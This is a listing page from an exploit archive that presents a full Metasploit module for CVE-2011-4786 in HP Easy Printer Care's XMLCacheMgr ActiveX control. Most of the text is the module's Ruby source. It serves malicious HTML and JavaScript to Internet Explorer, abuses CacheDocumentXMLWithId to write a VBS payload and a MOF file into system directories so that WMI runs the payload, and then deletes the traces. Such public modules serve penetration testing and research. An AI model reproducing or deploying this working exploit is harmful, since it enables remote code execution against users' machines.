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HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution

HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution
Posted Jan 18, 2012
Authored by Andrea Micalizzi, juan vazquez | Site metasploit.com

This Metasploit module allows remote attackers to place arbitrary files on a users file system by abusing the "CacheDocumentXMLWithId" method from the "XMLCacheMgr" class in the HP Easy Printer HPTicketMgr.dll ActiveX Control (HPTicketMgr.dll 2.7.2.0). Code execution can be achieved by first uploading the payload to the remote machine embedding a vbs file, and then upload another mof file, which enables Windows Management Instrumentation service to execute the vbs. Please note that this module currently only works for Windows before Vista.

tags | exploit, remote, arbitrary, code execution, activex
systems | windows
advisories | CVE-2011-4786
SHA-256 | c66cbdd79894baf457dc97ef60cf3e98f8679bc1cdd968b80f389d4705ee544f

HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec

def initialize(info = {})
super(update_info(info,
'Name' => 'HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution',
'Description' => %q{
This module allows remote attackers to place arbitrary files on a users file
system by abusing the "CacheDocumentXMLWithId" method from the "XMLCacheMgr"
class in the HP Easy Printer HPTicketMgr.dll ActiveX Control (HPTicketMgr.dll
2.7.2.0).

Code execution can be achieved by first uploading the payload to the remote
machine embeddeding a vbs file, and then upload another mof file, which enables
Windows Management Instrumentation service to execute the vbs. Please note that
this module currently only works for Windows before Vista.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrea Micalizzi', # aka rgod original discovery
'juan vazquez', # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-4786'],
[ 'BID', '51396'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-013/' ],
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
#Windows before Vista
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 11 2012'))
end

#
# The following handles deleting the copied vbs payload and mof file
# See "struts_code_exec.rb" and "ms10_026_dbldecode.rb" for more information.
#
def on_new_session(client)

if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The vbs payload and mof file must be removed manually.")
return
end

return if not @var_mof_name
return if not @var_vbs_name

# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

cmd = "C:\\windows\\system32\\attrib.exe -r " +
"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"

client.sys.process.execute(cmd, nil, {'Hidden' => true })

begin
print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end

end

def on_request_uri(cli, request)

unless request['User-Agent'] =~ /MSIE/
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
return
end

# Using Windows Management Instrumentation service to execute the payload.
# Using code from "blackice_downloadimagefileurl.rb". See it for more information.

var_xmlcachemgr = rand_text_alpha(rand(5)+5)
var_mof_function_name = rand_text_alpha(rand(5)+5)

content = <<-EOS
<html>
<head>
<script>
var #{var_xmlcachemgr} = new ActiveXObject('HPESPRIT.XMLCacheMgr.1');

function #{var_mof_function_name}() {
#{var_xmlcachemgr}.CacheDocumentXMLWithId(
"c:\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\#{@var_mof_name}.mof",
unescape("#{@mof_content}"),
1,
1
);
}

#{var_xmlcachemgr}.CacheDocumentXMLWithId(
"C:\\\\WINDOWS\\\\system32\\\\#{@var_vbs_name}.vbs",
unescape("#{@vbs_content}"),
1,
1
);

setTimeout("#{var_mof_function_name}()", 4000);
</script>
</head>
</html>
EOS

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end

def exploit
# In order to save binary data to the file system the payload is written to a .vbs
# file and execute it from there.
@var_mof_name = rand_text_alpha(rand(5)+5)
@var_vbs_name = rand_text_alpha(rand(5)+5)

print_status("Encoding payload into vbs...")
payload = generate_payload_exe
@vbs_content = Rex::Text.to_hex(Msf::Util::EXE.to_exe_vbs(payload))

print_status("Generating mof file...")
@mof_content = Rex::Text.to_hex(generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs"))
super
end

end
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